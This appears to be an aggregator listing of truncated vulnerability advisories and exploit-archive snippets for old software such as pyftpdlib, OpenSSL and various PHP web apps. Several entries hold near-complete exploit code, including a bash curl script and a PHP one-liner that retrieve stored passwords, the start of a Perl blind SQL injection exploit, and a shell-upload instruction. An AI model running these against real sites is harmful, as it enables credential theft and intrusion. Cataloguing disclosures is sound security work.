PYSEC-2010-4

Multiple directory traversal vulnerabilities in FTPServer.py in pyftpdlib before 0.3.0 allow remote authenticated users to access arbitrary files and directories via vectors involving a symlink in a pathname to a 1 CWD, 2 DELE, 3 STOR, or 4 RETR command...

PYSEC-2010-20

Multiple directory traversal vulnerabilities in FTPServer.py in pyftpdlib before 0.2.0 allow remote authenticated users to access arbitrary files and directories via a .. dot dot in a 1 LIST, 2 STOR, or 3 RETR command...

CVE-2010-3212

SQL injection vulnerability in index.php in Seagull 0.6.7 and earlier allows remote attackers to execute arbitrary SQL commands via the frmQuestion parameter in a retrieve action, in conjunction with a user/password PATHINFO...

CeleronDude 5.3.0 Shell Upload / Database Password

Uploader by CeleronDude 5.3.0 - Upload Vulnerability Discovered by : Stink' Date : 2009-12-17 for upload. 2010-01-17 for Settings.db retrieve password. Dork : "Uploader by CeleronDude." Website Publisher : http://www.celerondude.com/php-uploader-v5 -- Upload Vulnerability -- Rename your shell.php...

Speed up,Butler BA SQL Server account Set Password of the PJ method-vulnerability warning-the black bar safety net

Generally refers to the use of SQL Server password authentication mode, the sa or admin user password forget. First, open the Registry Editor,“run”, enter regedit findHKEYLOCALMACHINE\\SOFTWARE\\MICROSOFT\\MSSQLSERVER\\MSSQLSERVER, This item which has a key value LoginMode, now the value is 1,...

OpenSSL: DTLS pointer use-after-free flaw (DoS)

Use-after-free vulnerability in the dtls1retrievebufferedfragment function in ssl/d1both.c in OpenSSL 1.0.0 Beta 2 allows remote attackers to cause a denial of service openssl sclient crash and possibly have unspecified other impact via a DTLS packet, as demonstrated by a packet from a server tha...

phpWebThings 1.5.2 - MD5 Hash Retrieve/File Disclosure

!/usr/bin/perl phpWebThings = 1.5.2 MD5 Hash Retrieve / File Disclosure Remote Exploit by staker ------------------------------ mail: stakerathotmaildotit url: http://phpwebthings.nl ------------------------------ NOTE: 1. it works regardless of php.ini settings 2. wtconfig.php contains mysql log...

vBulletin vbBuxvbPlaza 2.x - vbplaza.php Blind SQL Injection

vBulletin vbBuxvbPlaza 2.x - vbplaza.php Blind SQL Injection --==+======================================================================================================================+==-- --==+ vBulletin vbBux/vbPlaza : 48 = 0 120 = x NOTE: You'll need to be logged into the forum to exploit...

DDIVRT-2009-21 vBook Login Application Cross-site Scripting Vulnerability

Title ----- DDIVRT-2009-21 vBook Login Application Cross-site Scripting Vulnerability Severity -------- Low Date Discovered --------------- January 19th, 2009 Discovered By ------------- Digital Defense, Inc. Vulnerability Research Team Credit: David Marshall and r@b13$ Vulnerability Description...

CVE-2009-0711

Summary: CVE-2009-0711 affects PHPFootball 1.6 and earlier via filter.php , enabling remote attackers to obtain password hashes by a crafted request using an Accounts value for the dbtable parameter and a Password value for the dbfield parameter. The underlying issue is improper handling of user-...

Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit

No description provided by source. !/bin/bash Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit by athos - stakerathotmaildotit host=$1; name=$2; path='/config/passwd.txt'; if "$name" = "" ; then echo "Usage: bash $0 host/path filename"; echo "by athos - stakerathotmaildotit"; exit; fi; curl...

Wysi Wiki Wyg 1.0 - Remote Password Retrieve

Wysi Wiki Wyg 1.0 - Remote Password Retrieve !/bin/bash Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit by athos - stakerathotmaildotit host=$1; name=$2; path='/config/passwd.txt'; if "$name" = "" ; then echo "Usage: bash $0 host/path filename"; echo "by athos - stakerathotmaildotit"; exit; fi...

Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit

Exploit for unknown platform in category web applications ================================================== Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit ================================================== !/bin/bash Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit by athos - staker host=$...

Wysi Wiki Wyg 1.0 - Remote Password Retrieve

!/bin/bash Wysi Wiki Wyg 1.0 Remote Password Retrieve Exploit by athos - stakerathotmaildotit host=$1; name=$2; path='/config/passwd.txt'; if "$name" = "" ; then echo "Usage: bash $0 host/path filename"; echo "by athos - stakerathotmaildotit"; exit; fi; curl $host/$path $name; clear cat $name;...

FREEze Greetings 1.0 Remote Password Retrieve Exploit

No description provided by source. ?php / FREEze Greetings 1.0 Remote Password Retrieve Exploit Exploit by cOndemned Greetz : suN8Hclf, 0in, m4r1usz, str0ke, rtgn, doctor, sid.psycho ... Special thx to ZaBeaTy for developing such a sexy regexp ; Thx m8 / echo Header FREEze Greetings 1.0 Remote...

FREEze Greetings 1.0 - Remote Password Retrieve

FREEze Greetings 1.0 - Remote Password Retrieve \r\n\r\n", $argv0 and exit; $out = pregmatch'!^^ +$!sei', filegetcontents$argv1 . '/pwd.txt', $r && pregmatch'!^^||+||!sei', base64decode$r1, $pass ? sprintf"Password : %s", base64decode$pass1 : 'Exploitation failed'; printf" %s \r\n\r\n", $out; ?...

FREEze Greetings 1.0 Remote Password Retrieve Exploit

Exploit for unknown platform in category web applications ===================================================== FREEze Greetings 1.0 Remote Password Retrieve Exploit ===================================================== \r\n\r\n", $argv0 and exit; $out = pregmatch'!^^ +$!sei', filegetcontents$arg...

FREEze Greetings 1.0 - Remote Password Retrieve

\r\n\r\n", $argv0 and exit; $out = pregmatch'!^^ +$!sei', filegetcontents$argv1 . '/pwd.txt', $r && pregmatch'!^^||+||!sei', base64decode$r1, $pass ? sprintf"Password : %s", base64decode$pass1 : 'Exploitation failed'; printf" %s \r\n\r\n", $out; ? milw0rm.com 2008-11-17...

XPSHOP Shopping Mall system vulnerabilities-vulnerability warning-the black bar safety net

XPSHOP Shopping Mall system vulnerabilities Accidentally found this loophole..official now also don't know...I'm not elsewhere in the published Oh.. This vulnerability is bad...to the straight pull change people the administrator password!! A little bit wicked!!!... But for the sake of our networ...

Joomla Component Webhosting (catid) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $id = shift; $nonfind = shift; choose anything thats inside the article of id $column = "username";...